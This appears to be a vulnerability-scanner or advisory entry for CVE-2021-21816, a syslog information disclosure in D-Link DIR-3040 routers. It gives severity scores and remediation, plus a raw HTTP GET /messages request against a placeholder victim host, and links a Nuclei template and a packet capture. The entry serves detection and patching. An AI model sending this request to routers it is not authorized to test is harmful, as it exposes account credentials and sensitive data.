| Title | D-Link DIR-3040 1.13B03 - Information Disclosure |
|---|---|
| Author | gy741 |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to gain sensitive information from the router, potentially leading to further attacks. |
| Remediation | Upgrade the router firmware to the latest version provided by D-Link. |
| CVSS Score | 4.3 |
| EPSS Score | 0.77268 |
| CVE ID | CVE-2021-21816 |
| CWE ID | CWE-200 |
| Tags | cve2021 cve dlink exposure router syslog vuln |
D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
GET /messages HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15 MarketGoo/2.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21816.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21816.pcap
N/AN/A